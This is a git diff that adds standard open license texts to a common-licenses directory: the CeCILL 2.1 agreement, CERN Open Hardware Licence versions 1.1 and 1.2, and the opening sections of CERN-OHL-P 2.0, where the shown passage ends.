diff --git a/meta/files/common-licenses/CECILL-2.1 b/meta/files/common-licenses/CECILL-2.1
new file mode 100644
index 0000000000..d290c0694a
--- /dev/null
+++ b/meta/files/common-licenses/CECILL-2.1
@@ -0,0 +1,518 @@
+
+ CeCILL FREE SOFTWARE LICENSE AGREEMENT
+
+Version 2.1 dated 2013-06-21
+
+
+ Notice
+
+This Agreement is a Free Software license agreement that is the result
+of discussions between its authors in order to ensure compliance with
+the two main principles guiding its drafting:
+
+ * firstly, compliance with the principles governing the distribution
+ of Free Software: access to source code, broad rights granted to users,
+ * secondly, the election of a governing law, French law, with which it
+ is conformant, both as regards the law of torts and intellectual
+ property law, and the protection that it offers to both authors and
+ holders of the economic rights over software.
+
+The authors of the CeCILL (for Ce[a] C[nrs] I[nria] L[ogiciel] L[ibre])
+license are:
+
+Commissariat à l'énergie atomique et aux énergies alternatives - CEA, a
+public scientific, technical and industrial research establishment,
+having its principal place of business at 25 rue Leblanc, immeuble Le
+Ponant D, 75015 Paris, France.
+
+Centre National de la Recherche Scientifique - CNRS, a public scientific
+and technological establishment, having its principal place of business
+at 3 rue Michel-Ange, 75794 Paris cedex 16, France.
+
+Institut National de Recherche en Informatique et en Automatique -
+Inria, a public scientific and technological establishment, having its
+principal place of business at Domaine de Voluceau, Rocquencourt, BP
+105, 78153 Le Chesnay cedex, France.
+
+
+ Preamble
+
+The purpose of this Free Software license agreement is to grant users
+the right to modify and redistribute the software governed by this
+license within the framework of an open source distribution model.
+
+The exercising of this right is conditional upon certain obligations for
+users so as to preserve this status for all subsequent redistributions.
+
+In consideration of access to the source code and the rights to copy,
+modify and redistribute granted by the license, users are provided only
+with a limited warranty and the software's author, the holder of the
+economic rights, and the successive licensors only have limited liability.
+
+In this respect, the risks associated with loading, using, modifying
+and/or developing or reproducing the software by the user are brought to
+the user's attention, given its Free Software status, which may make it
+complicated to use, with the result that its use is reserved for
+developers and experienced professionals having in-depth computer
+knowledge. Users are therefore encouraged to load and test the
+suitability of the software as regards their requirements in conditions
+enabling the security of their systems and/or data to be ensured and,
+more generally, to use and operate it in the same conditions of
+security. This Agreement may be freely reproduced and published,
+provided it is not altered, and that no provisions are either added or
+removed herefrom.
+
+This Agreement may apply to any or all software for which the holder of
+the economic rights decides to submit the use thereof to its provisions.
+
+Frequently asked questions can be found on the official website of the
+CeCILL licenses family (http://www.cecill.info/index.en.html) for any
+necessary clarification.
+
+
+ Article 1 - DEFINITIONS
+
+For the purpose of this Agreement, when the following expressions
+commence with a capital letter, they shall have the following meaning:
+
+Agreement: means this license agreement, and its possible subsequent
+versions and annexes.
+
+Software: means the software in its Object Code and/or Source Code form
+and, where applicable, its documentation, "as is" when the Licensee
+accepts the Agreement.
+
+Initial Software: means the Software in its Source Code and possibly its
+Object Code form and, where applicable, its documentation, "as is" when
+it is first distributed under the terms and conditions of the Agreement.
+
+Modified Software: means the Software modified by at least one
+Contribution.
+
+Source Code: means all the Software's instructions and program lines to
+which access is required so as to modify the Software.
+
+Object Code: means the binary files originating from the compilation of
+the Source Code.
+
+Holder: means the holder(s) of the economic rights over the Initial
+Software.
+
+Licensee: means the Software user(s) having accepted the Agreement.
+
+Contributor: means a Licensee having made at least one Contribution.
+
+Licensor: means the Holder, or any other individual or legal entity, who
+distributes the Software under the Agreement.
+
+Contribution: means any or all modifications, corrections, translations,
+adaptations and/or new functions integrated into the Software by any or
+all Contributors, as well as any or all Internal Modules.
+
+Module: means a set of sources files including their documentation that
+enables supplementary functions or services in addition to those offered
+by the Software.
+
+External Module: means any or all Modules, not derived from the
+Software, so that this Module and the Software run in separate address
+spaces, with one calling the other when they are run.
+
+Internal Module: means any or all Module, connected to the Software so
+that they both execute in the same address space.
+
+GNU GPL: means the GNU General Public License version 2 or any
+subsequent version, as published by the Free Software Foundation Inc.
+
+GNU Affero GPL: means the GNU Affero General Public License version 3 or
+any subsequent version, as published by the Free Software Foundation Inc.
+
+EUPL: means the European Union Public License version 1.1 or any
+subsequent version, as published by the European Commission.
+
+Parties: mean both the Licensee and the Licensor.
+
+These expressions may be used both in singular and plural form.
+
+
+ Article 2 - PURPOSE
+
+The purpose of the Agreement is the grant by the Licensor to the
+Licensee of a non-exclusive, transferable and worldwide license for the
+Software as set forth in Article 5 <#scope> hereinafter for the whole
+term of the protection granted by the rights over said Software.
+
+
+ Article 3 - ACCEPTANCE
+
+3.1 The Licensee shall be deemed as having accepted the terms and
+conditions of this Agreement upon the occurrence of the first of the
+following events:
+
+ * (i) loading the Software by any or all means, notably, by
+ downloading from a remote server, or by loading from a physical medium;
+ * (ii) the first time the Licensee exercises any of the rights granted
+ hereunder.
+
+3.2 One copy of the Agreement, containing a notice relating to the
+characteristics of the Software, to the limited warranty, and to the
+fact that its use is restricted to experienced users has been provided
+to the Licensee prior to its acceptance as set forth in Article 3.1
+<#accepting> hereinabove, and the Licensee hereby acknowledges that it
+has read and understood it.
+
+
+ Article 4 - EFFECTIVE DATE AND TERM
+
+
+ 4.1 EFFECTIVE DATE
+
+The Agreement shall become effective on the date when it is accepted by
+the Licensee as set forth in Article 3.1 <#accepting>.
+
+
+ 4.2 TERM
+
+The Agreement shall remain in force for the entire legal term of
+protection of the economic rights over the Software.
+
+
+ Article 5 - SCOPE OF RIGHTS GRANTED
+
+The Licensor hereby grants to the Licensee, who accepts, the following
+rights over the Software for any or all use, and for the term of the
+Agreement, on the basis of the terms and conditions set forth hereinafter.
+
+Besides, if the Licensor owns or comes to own one or more patents
+protecting all or part of the functions of the Software or of its
+components, the Licensor undertakes not to enforce the rights granted by
+these patents against successive Licensees using, exploiting or
+modifying the Software. If these patents are transferred, the Licensor
+undertakes to have the transferees subscribe to the obligations set
+forth in this paragraph.
+
+
+ 5.1 RIGHT OF USE
+
+The Licensee is authorized to use the Software, without any limitation
+as to its fields of application, with it being hereinafter specified
+that this comprises:
+
+ 1. permanent or temporary reproduction of all or part of the Software
+ by any or all means and in any or all form.
+
+ 2. loading, displaying, running, or storing the Software on any or all
+ medium.
+
+ 3. entitlement to observe, study or test its operation so as to
+ determine the ideas and principles behind any or all constituent
+ elements of said Software. This shall apply when the Licensee
+ carries out any or all loading, displaying, running, transmission or
+ storage operation as regards the Software, that it is entitled to
+ carry out hereunder.
+
+
+ 5.2 ENTITLEMENT TO MAKE CONTRIBUTIONS
+
+The right to make Contributions includes the right to translate, adapt,
+arrange, or make any or all modifications to the Software, and the right
+to reproduce the resulting software.
+
+The Licensee is authorized to make any or all Contributions to the
+Software provided that it includes an explicit notice that it is the
+author of said Contribution and indicates the date of the creation thereof.
+
+
+ 5.3 RIGHT OF DISTRIBUTION
+
+In particular, the right of distribution includes the right to publish,
+transmit and communicate the Software to the general public on any or
+all medium, and by any or all means, and the right to market, either in
+consideration of a fee, or free of charge, one or more copies of the
+Software by any means.
+
+The Licensee is further authorized to distribute copies of the modified
+or unmodified Software to third parties according to the terms and
+conditions set forth hereinafter.
+
+
+ 5.3.1 DISTRIBUTION OF SOFTWARE WITHOUT MODIFICATION
+
+The Licensee is authorized to distribute true copies of the Software in
+Source Code or Object Code form, provided that said distribution
+complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+
+ 2. a notice relating to the limitation of both the Licensor's warranty
+ and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Object Code of the Software is
+redistributed, the Licensee allows effective access to the full Source
+Code of the Software for a period of at least three years from the
+distribution of the Software, it being understood that the additional
+acquisition cost of the Source Code shall not exceed the cost of the
+data transfer.
+
+
+ 5.3.2 DISTRIBUTION OF MODIFIED SOFTWARE
+
+When the Licensee makes a Contribution to the Software, the terms and
+conditions for the distribution of the resulting Modified Software
+become subject to all the provisions of this Agreement.
+
+The Licensee is authorized to distribute the Modified Software, in
+source code or object code form, provided that said distribution
+complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+
+ 2. a notice relating to the limitation of both the Licensor's warranty
+ and liability as set forth in Articles 8 and 9,
+
+and, in the event that only the object code of the Modified Software is
+redistributed,
+
+ 3. a note stating the conditions of effective access to the full source
+ code of the Modified Software for a period of at least three years
+ from the distribution of the Modified Software, it being understood
+ that the additional acquisition cost of the source code shall not
+ exceed the cost of the data transfer.
+
+
+ 5.3.3 DISTRIBUTION OF EXTERNAL MODULES
+
+When the Licensee has developed an External Module, the terms and
+conditions of this Agreement do not apply to said External Module, that
+may be distributed under a separate license agreement.
+
+
+ 5.3.4 COMPATIBILITY WITH OTHER LICENSES
+
+The Licensee can include a code that is subject to the provisions of one
+of the versions of the GNU GPL, GNU Affero GPL and/or EUPL in the
+Modified or unmodified Software, and distribute that entire code under
+the terms of the same version of the GNU GPL, GNU Affero GPL and/or EUPL.
+
+The Licensee can include the Modified or unmodified Software in a code
+that is subject to the provisions of one of the versions of the GNU GPL,
+GNU Affero GPL and/or EUPL and distribute that entire code under the
+terms of the same version of the GNU GPL, GNU Affero GPL and/or EUPL.
+
+
+ Article 6 - INTELLECTUAL PROPERTY
+
+
+ 6.1 OVER THE INITIAL SOFTWARE
+
+The Holder owns the economic rights over the Initial Software. Any or
+all use of the Initial Software is subject to compliance with the terms
+and conditions under which the Holder has elected to distribute its work
+and no one shall be entitled to modify the terms and conditions for the
+distribution of said Initial Software.
+
+The Holder undertakes that the Initial Software will remain ruled at
+least by this Agreement, for the duration set forth in Article 4.2 <#term>.
+
+
+ 6.2 OVER THE CONTRIBUTIONS
+
+The Licensee who develops a Contribution is the owner of the
+intellectual property rights over this Contribution as defined by
+applicable law.
+
+
+ 6.3 OVER THE EXTERNAL MODULES
+
+The Licensee who develops an External Module is the owner of the
+intellectual property rights over this External Module as defined by
+applicable law and is free to choose the type of agreement that shall
+govern its distribution.
+
+
+ 6.4 JOINT PROVISIONS
+
+The Licensee expressly undertakes:
+
+ 1. not to remove, or modify, in any manner, the intellectual property
+ notices attached to the Software;
+
+ 2. to reproduce said notices, in an identical manner, in the copies of
+ the Software modified or not.
+
+The Licensee undertakes not to directly or indirectly infringe the
+intellectual property rights on the Software of the Holder and/or
+Contributors, and to take, where applicable, vis-à-vis its staff, any
+and all measures required to ensure respect of said intellectual
+property rights of the Holder and/or Contributors.
+
+
+ Article 7 - RELATED SERVICES
+
+7.1 Under no circumstances shall the Agreement oblige the Licensor to
+provide technical assistance or maintenance services for the Software.
+
+However, the Licensor is entitled to offer this type of services. The
+terms and conditions of such technical assistance, and/or such
+maintenance, shall be set forth in a separate instrument. Only the
+Licensor offering said maintenance and/or technical assistance services
+shall incur liability therefor.
+
+7.2 Similarly, any Licensor is entitled to offer to its licensees, under
+its sole responsibility, a warranty, that shall only be binding upon
+itself, for the redistribution of the Software and/or the Modified
+Software, under terms and conditions that it is free to decide. Said
+warranty, and the financial terms and conditions of its application,
+shall be subject of a separate instrument executed between the Licensor
+and the Licensee.
+
+
+ Article 8 - LIABILITY
+
+8.1 Subject to the provisions of Article 8.2, the Licensee shall be
+entitled to claim compensation for any direct loss it may have suffered
+from the Software as a result of a fault on the part of the relevant
+Licensor, subject to providing evidence thereof.
+
+8.2 The Licensor's liability is limited to the commitments made under
+this Agreement and shall not be incurred as a result of in particular:
+(i) loss due the Licensee's total or partial failure to fulfill its
+obligations, (ii) direct or consequential loss that is suffered by the
+Licensee due to the use or performance of the Software, and (iii) more
+generally, any consequential loss. In particular the Parties expressly
+agree that any or all pecuniary or business loss (i.e. loss of data,
+loss of profits, operating loss, loss of customers or orders,
+opportunity cost, any disturbance to business activities) or any or all
+legal proceedings instituted against the Licensee by a third party,
+shall constitute consequential loss and shall not provide entitlement to
+any or all compensation from the Licensor.
+
+
+ Article 9 - WARRANTY
+
+9.1 The Licensee acknowledges that the scientific and technical
+state-of-the-art when the Software was distributed did not enable all
+possible uses to be tested and verified, nor for the presence of
+possible defects to be detected. In this respect, the Licensee's
+attention has been drawn to the risks associated with loading, using,
+modifying and/or developing and reproducing the Software which are
+reserved for experienced users.
+
+The Licensee shall be responsible for verifying, by any or all means,
+the suitability of the product for its requirements, its good working
+order, and for ensuring that it shall not cause damage to either persons
+or properties.
+
+9.2 The Licensor hereby represents, in good faith, that it is entitled
+to grant all the rights over the Software (including in particular the
+rights set forth in Article 5 <#scope>).
+
+9.3 The Licensee acknowledges that the Software is supplied "as is" by
+the Licensor without any other express or tacit warranty, other than
+that provided for in Article 9.2 <#good-faith> and, in particular,
+without any warranty as to its commercial value, its secured, safe,
+innovative or relevant nature.
+
+Specifically, the Licensor does not warrant that the Software is free
+from any error, that it will operate without interruption, that it will
+be compatible with the Licensee's own equipment and software
+configuration, nor that it will meet the Licensee's requirements.
+
+9.4 The Licensor does not either expressly or tacitly warrant that the
+Software does not infringe any third party intellectual property right
+relating to a patent, software or any other property right. Therefore,
+the Licensor disclaims any and all liability towards the Licensee
+arising out of any or all proceedings for infringement that may be
+instituted in respect of the use, modification and redistribution of the
+Software. Nevertheless, should such proceedings be instituted against
+the Licensee, the Licensor shall provide it with technical and legal
+expertise for its defense. Such technical and legal expertise shall be
+decided on a case-by-case basis between the relevant Licensor and the
+Licensee pursuant to a memorandum of understanding. The Licensor
+disclaims any and all liability as regards the Licensee's use of the
+name of the Software. No warranty is given as regards the existence of
+prior rights over the name of the Software or as regards the existence
+of a trademark.
+
+
+ Article 10 - TERMINATION
+
+10.1 In the event of a breach by the Licensee of its obligations
+hereunder, the Licensor may automatically terminate this Agreement
+thirty (30) days after notice has been sent to the Licensee and has
+remained ineffective.
+
+10.2 A Licensee whose Agreement is terminated shall no longer be
+authorized to use, modify or distribute the Software. However, any
+licenses that it may have granted prior to termination of the Agreement
+shall remain valid subject to their having been granted in compliance
+with the terms and conditions hereof.
+
+
+ Article 11 - MISCELLANEOUS
+
+
+ 11.1 EXCUSABLE EVENTS
+
+Neither Party shall be liable for any or all delay, or failure to
+perform the Agreement, that may be attributable to an event of force
+majeure, an act of God or an outside cause, such as defective
+functioning or interruptions of the electricity or telecommunications
+networks, network paralysis following a virus attack, intervention by
+government authorities, natural disasters, water damage, earthquakes,
+fire, explosions, strikes and labor unrest, war, etc.
+
+11.2 Any failure by either Party, on one or more occasions, to invoke
+one or more of the provisions hereof, shall under no circumstances be
+interpreted as being a waiver by the interested Party of its right to
+invoke said provision(s) subsequently.
+
+11.3 The Agreement cancels and replaces any or all previous agreements,
+whether written or oral, between the Parties and having the same
+purpose, and constitutes the entirety of the agreement between said
+Parties concerning said purpose. No supplement or modification to the
+terms and conditions hereof shall be effective as between the Parties
+unless it is made in writing and signed by their duly authorized
+representatives.
+
+11.4 In the event that one or more of the provisions hereof were to
+conflict with a current or future applicable act or legislative text,
+said act or legislative text shall prevail, and the Parties shall make
+the necessary amendments so as to comply with said act or legislative
+text. All other provisions shall remain effective. Similarly, invalidity
+of a provision of the Agreement, for any reason whatsoever, shall not
+cause the Agreement as a whole to be invalid.
+
+
+ 11.5 LANGUAGE
+
+The Agreement is drafted in both French and English and both versions
+are deemed authentic.
+
+
+ Article 12 - NEW VERSIONS OF THE AGREEMENT
+
+12.1 Any person is authorized to duplicate and distribute copies of this
+Agreement.
+
+12.2 So as to ensure coherence, the wording of this Agreement is
+protected and may only be modified by the authors of the License, who
+reserve the right to periodically publish updates or new versions of the
+Agreement, each with a separate number. These subsequent versions may
+address new issues encountered by Free Software.
+
+12.3 Any Software distributed under a given version of the Agreement may
+only be subsequently distributed under the same version of the Agreement
+or a subsequent version, subject to the provisions of Article 5.3.4
+<#compatibility>.
+
+
+ Article 13 - GOVERNING LAW AND JURISDICTION
+
+13.1 The Agreement is governed by French law. The Parties agree to
+endeavor to seek an amicable solution to any disagreements or disputes
+that may arise during the performance of the Agreement.
+
+13.2 Failing an amicable solution within two (2) months as from their
+occurrence, and unless emergency proceedings are necessary, the
+disagreements or disputes shall be referred to the Paris Courts having
+jurisdiction, by the more diligent Party.
diff --git a/meta/files/common-licenses/CERN-OHL-1.1 b/meta/files/common-licenses/CERN-OHL-1.1
new file mode 100644
index 0000000000..9fcefc9568
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-1.1
@@ -0,0 +1,47 @@
+CERN OHL v1.1
+2011-07-08 - CERN, Geneva, Switzerland
+CERN Open Hardware Licence v1.1
+
+Preamble
+Through this CERN Open Hardware Licence ("CERN OHL") version 1.1, the Organization wishes to disseminate its hardware designs (as published on http://www.ohwr.org/) as widely as possible, and generally to foster collaboration among public research hardware designers. The CERN OHL is copyright of CERN. Anyone is welcome to use the CERN OHL, in unmodified form only, for the distribution of his own Open Hardware designs. Any other right is reserved.
+
+1. Definitions
+In this Licence, the following terms have the following meanings:
+“Licence” means this CERN OHL.
+“Documentation” means schematic diagrams, designs, circuit or circuit board layouts, mechanical drawings, flow charts and descriptive text, and other explanatory material that is explicitly stated as being made available under the conditions of this Licence. The Documentation may be in any medium, including but not limited to computer files and representations on paper, film, or any other media.
+“Product” means either an entire, or any part of a, device built using the Documentation or the modified Documentation.
+“Licensee” means any natural or legal person exercising rights under this Licence.
+“Licensor” means any natural or legal person that creates or modifies Documentation and subsequently communicates to the public and/ or distributes the resulting Documentation under the terms and conditions of this Licence.
+A Licensee may at the same time be a Licensor, and vice versa.
+
+2. Applicability
+2.1 This Licence governs the use, copying, modification, communication to the public and distribution of the Documentation, and the manufacture and distribution of Products. By exercising any right granted under this Licence, the Licensee irrevocably accepts these terms and conditions.
+2.2 This Licence is granted by the Licensor directly to the Licensee, and shall apply worldwide and without limitation in time. The Licensee may assign his licence rights or grant sub-licences.
+2.3 This Licence does not apply to software, firmware, or code loaded into programmable devices which may be used in conjunction with the Documentation, the modified Documentation or with Products. The use of such software, firmware, or code is subject to the applicable licence terms and conditions.
+
+3. Copying, modification, communication to the public and distribution of the Documentation
+3.1 The Licensee shall keep intact all copyright and trademarks notices and all notices that refer to this Licence and to the disclaimer of warranties that is included in the Documentation. He shall include a copy thereof in every copy of the documentation or, as the case may be, modified Documentation, that he communicates to the public or distributes.
+3.2 The Licensee may use, copy, communicate to the public and distribute verbatim copies of the Documentation, in any medium, subject to the requirements specified in section 3.1.
+3.3 The Licensee may modify the Documentation or any portion thereof. The Licensee may communicate to the public and distribute the modified Documentation (thereby in addition to being a Licensee also becoming a Licensor), always provided that he shall:
+a. comply with section 3.1;
+b. cause the modified Documentation to carry prominent notices stating that the Licensee has modified the Documentation, with the date and details of the modifications;
+c. license the modified Documentation under the terms and conditions of this Licence or, where applicable, a later version of this Licence as may be issued by CERN; and
+d. send a copy of the modified Documentation to all Licensors that contributed to the parts of the Documentation that were modified, as well as to any other Licensor who has requested to receive a copy of the modified Documentation and has provided a means of contact with the Documentation.
+3.4 The Licence includes a licence to those patents or registered designs that are held by the Licensor, to the extent necessary to make use of the rights granted under this Licence. The scope of this section 3.4 shall be strictly limited to the parts of the Documentation or modified Documentation created by the Licensor.
+
+4. Manufacture and distribution of Products
+4.1 The Licensee may manufacture or distribute Products always provided that the Licensee distributes to each recipient of such Products a copy of the Documentation or modified Documentation, as applicable, and complies with section 3.
+4.2 The Licensee is invited to inform in writing any Licensor who has indicated its wish to receive this information about the type, quantity and dates of production of Products the Licensee has (had) manufactured.
+
+5. Warranty and liability
+5.1 DISCLAIMER – The Documentation and any modified Documentation are provided "as is" and any express or implied warranties, including, but not limited to, implied warranties of merchantability, of satisfactory quality, and fitness for a particular purpose or use are disclaimed in respect of the Documentation, the modified Documentation or any Product. The Licensor makes no representation that the Documentation, modified Documentation, or any Product, does or will not infringe any patent, copyright, trade secret or other proprietary right. The entire risk as to the use, quality, and performance of a Product shall be with the Licensee and not the Licensor. This disclaimer of warranty is an essential part of this Licence and a condition for the grant of any rights granted under this Licence. The Licensee warrants that it does not act in a consumer capacity.
+5.2 LIMITATION OF LIABILITY – The Licensor shall have no liability for direct, indirect, special, incidental, consequential, exemplary, punitive or other damages of any character including, without limitation, procurement of substitute goods or services, loss of use, data or profits, or business interruption, however caused and on any
+theory of contract, warranty, tort (including negligence), product liability or otherwise, arising in any way in relation to the Documentation, modified Documentation and/or the use, manufacture or distribution of a Product, even if advised of the possibility of such damages, and the Licensee shall hold the Licensor(s) free and harmless
+from any liability, costs, damages, fees and expenses, including claims by third parties, in relation to such use.
+
+6. General
+6.1 The rights granted under this Licence do not imply or represent any transfer or assignment of intellectual property rights to the Licensee.
+6.2 The Licensee shall not use or make reference to any of the names, acronyms, images or logos under which the Licensor is known, save in so far as required to comply with section 3. Any such permitted use or reference shall be factual and shall in no event suggest any kind of endorsement by the Licensor or its personnel of the modified Documentation or any Product, or any kind of implication by the Licensor or its personnel in the preparation of the modified Documentation or Product.
+6.3 CERN may publish updated versions of this Licence which retain the same general provisions as this version, but differ in detail so far this is required and reasonable. New versions will be published with a unique version number.
+6.4 This Licence shall terminate with immediate effect, upon written notice and without involvement of a court if the Licensee fails to comply with any of its terms and conditions, or if the Licensee initiates legal action against Licensor in relation to this Licence. Section 5 shall continue to apply.
+6.5 Except as may be otherwise agreed with the Intergovernmental Organization, any dispute with respect to this Licence involving an Intergovernmental Organization shall, by virtue of the latter's Intergovernmental status, be settled by international arbitration. The arbitration proceedings shall be held at the place where the Intergovernmental Organization has its seat. The arbitral award shall be final and binding upon the parties, who hereby expressly agree to renounce any form of appeal or revision.
diff --git a/meta/files/common-licenses/CERN-OHL-1.2 b/meta/files/common-licenses/CERN-OHL-1.2
new file mode 100644
index 0000000000..6a8f2ffa55
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-1.2
@@ -0,0 +1,49 @@
+CERN OHL v1.2
+2013-09-06 - CERN, Geneva, Switzerland
+CERN Open Hardware Licence v1.2
+
+Preamble
+Through this CERN Open Hardware Licence ("CERN OHL") version 1.2, CERN wishes to provide a tool to foster collaboration and sharing among hardware designers. The CERN OHL is copyright CERN. Anyone is welcome to use the CERN OHL, in unmodified form only, for the distribution of their own Open Hardware designs. Any other right is reserved. Release of hardware designs under the CERN OHL does not constitute an endorsement of the licensor or its designs nor does it imply any involvement by CERN in the development of such designs.
+
+1. Definitions
+In this Licence, the following terms have the following meanings:
+“Licence” means this CERN OHL.
+“Documentation” means schematic diagrams, designs, circuit or circuit board layouts, mechanical drawings, flow charts and descriptive text, and other explanatory material that is explicitly stated as being made available under the conditions of this Licence. The Documentation may be in any medium, including but not limited to computer files and representations on paper, film, or any other media.
+“Documentation Location” means a location where the Licensor has placed Documentation, and which he believes will be publicly accessible for at least three years from the first communication to the public or distribution of Documentation.
+“Product” means either an entire, or any part of a, device built using the Documentation or the modified Documentation.
+“Licensee” means any natural or legal person exercising rights under this Licence.
+“Licensor” means any natural or legal person that creates or modifies Documentation and subsequently communicates to the public and/ or distributes the resulting Documentation under the terms and conditions of this Licence.
+A Licensee may at the same time be a Licensor, and vice versa.
+Use of the masculine gender includes the feminine and neuter genders and is employed solely to facilitate reading.
+
+2. Applicability
+2.1. This Licence governs the use, copying, modification, communication to the public and distribution of the Documentation, and the manufacture and distribution of Products. By exercising any right granted under this Licence, the Licensee irrevocably accepts these terms and conditions.
+2.2. This Licence is granted by the Licensor directly to the Licensee, and shall apply worldwide and without limitation in time. The Licensee may assign his licence rights or grant sub-licences.
+2.3. This Licence does not extend to software, firmware, or code loaded into programmable devices which may be used in conjunction with the Documentation, the modified Documentation or with Products, unless such software, firmware, or code is explicitly expressed to be subject to this Licence. The use of such software, firmware, or code is otherwise subject to the applicable licence terms and conditions.
+
+3. Copying, modification, communication to the public and distribution of the Documentation
+3.1. The Licensee shall keep intact all copyright and trademarks notices, all notices referring to Documentation Location, and all notices that refer to this Licence and to the disclaimer of warranties that are included in the Documentation. He shall include a copy thereof in every copy of the Documentation or, as the case may be, modified Documentation, that he communicates to the public or distributes.
+3.2. The Licensee may copy, communicate to the public and distribute verbatim copies of the Documentation, in any medium, subject to the requirements specified in section 3.1.
+3.3. The Licensee may modify the Documentation or any portion thereof provided that upon modification of the Documentation, the Licensee shall make the modified Documentation available from a Documentation Location such that it can be easily located by an original Licensor once the Licensee communicates to the public or distributes the modified Documentation under section 3.4, and, where required by section 4.1, by a recipient of a Product. However, the Licensor shall not assert his rights under the foregoing proviso unless or until a Product is distributed.
+3.4. The Licensee may communicate to the public and distribute the modified Documentation (thereby in addition to being a Licensee also becoming a Licensor), always provided that he shall:
+a) comply with section 3.1;
+b) cause the modified Documentation to carry prominent notices stating that the Licensee has modified the Documentation, with the date and description of the modifications;
+c) cause the modified Documentation to carry a new Documentation Location notice if the original Documentation provided for one;
+d) make available the modified Documentation at the same level of abstraction as that of the Documentation, in the preferred format for making modifications to it (e.g. the native format of the CAD tool as applicable), and in the event that format is proprietary, in a format viewable with a tool licensed under an OSI-approved license if the proprietary tool can create it; and
+e) license the modified Documentation under the terms and conditions of this Licence or, where applicable, a later version of this Licence as may be issued by CERN.
+3.5. The Licence includes a non-exclusive licence to those patents or registered designs that are held by, under the control of, or sub-licensable by the Licensor, to the extent necessary to make use of the rights granted under this Licence. The scope of this section 3.5 shall be strictly limited to the parts of the Documentation or modified Documentation created by the Licensor.
+
+4. Manufacture and distribution of Products
+4.1. The Licensee may manufacture or distribute Products always provided that, where such manufacture or distribution requires a licence under this Licence the Licensee provides to each recipient of such Products an easy means of accessing a copy of the Documentation or modified Documentation, as applicable, as set out in section 3.
+4.2. The Licensee is invited to inform any Licensor who has indicated his wish to receive this information about the type, quantity and dates of production of Products the Licensee has (had) manufactured
+
+5. Warranty and liability
+5.1. DISCLAIMER – The Documentation and any modified Documentation are provided "as is" and any express or implied warranties, including, but not limited to, implied warranties of merchantability, of satisfactory quality, non-infringement of third party rights, and fitness for a particular purpose or use are disclaimed in respect of the Documentation, the modified Documentation or any Product. The Licensor makes no representation that the Documentation, modified Documentation, or any Product, does or will not infringe any patent, copyright, trade secret or other proprietary right. The entire risk as to the use, quality, and performance of a Product shall be with the Licensee and not the Licensor. This disclaimer of warranty is an essential part of this Licence and a condition for the grant of any rights granted under this Licence. The Licensee warrants that it does not act in a consumer capacity.
+5.2. LIMITATION OF LIABILITY – The Licensor shall have no liability for direct, indirect, special, incidental, consequential, exemplary, punitive or other damages of any character including, without limitation, procurement of substitute goods or services, loss of use, data or profits, or business interruption, however caused and on any theory of contract, warranty, tort (including negligence), product liability or otherwise, arising in any way in relation to the Documentation, modified Documentation and/or the use, manufacture or distribution of a Product, even if advised of the possibility of such damages, and the Licensee shall hold the Licensor(s) free and harmless from any liability, costs, damages, fees and expenses, including claims by third parties, in relation to such use.
+
+6. General
+6.1. Except for the rights explicitly granted hereunder, this Licence does not imply or represent any transfer or assignment of intellectual property rights to the Licensee.
+6.2. The Licensee shall not use or make reference to any of the names (including acronyms and abbreviations), images, or logos under which the Licensor is known, save in so far as required to comply with section 3. Any such permitted use or reference shall be factual and shall in no event suggest any kind of endorsement by the Licensor or its personnel of the modified Documentation or any Product, or any kind of implication by the Licensor or its personnel in the preparation of the modified Documentation or Product.
+6.3. CERN may publish updated versions of this Licence which retain the same general provisions as this version, but differ in detail so far this is required and reasonable. New versions will be published with a unique version number.
+6.4. This Licence shall terminate with immediate effect, upon written notice and without involvement of a court if the Licensee fails to comply with any of its terms and conditions, or if the Licensee initiates legal action against Licensor in relation to this Licence. Section 5 shall continue to apply.
+
diff --git a/meta/files/common-licenses/CERN-OHL-P-2.0 b/meta/files/common-licenses/CERN-OHL-P-2.0
new file mode 100644
index 0000000000..f19d2b7adc
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-P-2.0
@@ -0,0 +1,199 @@
+CERN Open Hardware Licence Version 2 - Permissive
+
+
+Preamble
+
+CERN has developed this licence to promote collaboration among
+hardware designers and to provide a legal tool which supports the
+freedom to use, study, modify, share and distribute hardware designs
+and products based on those designs. Version 2 of the CERN Open
+Hardware Licence comes in three variants: this licence, CERN-OHL-P
+(permissive); and two reciprocal licences: CERN- OHL-W (weakly
+reciprocal) and CERN-OHL-S (strongly reciprocal).
+
+The CERN-OHL-P is copyright CERN 2020. Anyone is welcome to use it, in
+unmodified form only.
+
+Use of this Licence does not imply any endorsement by CERN of any
+Licensor or their designs nor does it imply any involvement by CERN in
+their development.
+
+
+1 Definitions
+
+ 1.1 'Licence' means this CERN-OHL-P.
+
+ 1.2 'Source' means information such as design materials or digital
+ code which can be applied to Make or test a Product or to
+ prepare a Product for use, Conveyance or sale, regardless of its
+ medium or how it is expressed. It may include Notices.
+
+ 1.3 'Covered Source' means Source that is explicitly made available
+ under this Licence.
+
+ 1.4 'Product' means any device, component, work or physical object,
+ whether in finished or intermediate form, arising from the use,
+ application or processing of Covered Source.
+
+ 1.5 'Make' means to create or configure something, whether by
+ manufacture, assembly, compiling, loading or applying Covered
+ Source or another Product or otherwise.
+
+ 1.6 'Notice' means copyright, acknowledgement and trademark notices,
+ references to the location of any Notices, modification notices
+ (subsection 3.3(b)) and all notices that refer to this Licence
+ and to the disclaimer of warranties that are included in the
+ Covered Source.
+
+ 1.7 'Licensee' or 'You' means any person exercising rights under
+ this Licence.
+
+ 1.8 'Licensor' means a person who creates Source or modifies Covered
+ Source and subsequently Conveys the resulting Covered Source
+ under the terms and conditions of this Licence. A person may be
+ a Licensee and a Licensor at the same time.
+
+ 1.9 'Convey' means to communicate to the public or distribute.
+
+
+2 Applicability
+
+ 2.1 This Licence governs the use, copying, modification, Conveying
+ of Covered Source and Products, and the Making of Products. By
+ exercising any right granted under this Licence, You irrevocably
+ accept these terms and conditions.
+
+ 2.2 This Licence is granted by the Licensor directly to You, and
+ shall apply worldwide and without limitation in time.
+
+ 2.3 You shall not attempt to restrict by contract or otherwise the
+ rights granted under this Licence to other Licensees.
+
+ 2.4 This Licence is not intended to restrict fair use, fair dealing,
+ or any other similar right.
+
+
+3 Copying, modifying and Conveying Covered Source
+
+ 3.1 You may copy and Convey verbatim copies of Covered Source, in
+ any medium, provided You retain all Notices.
+
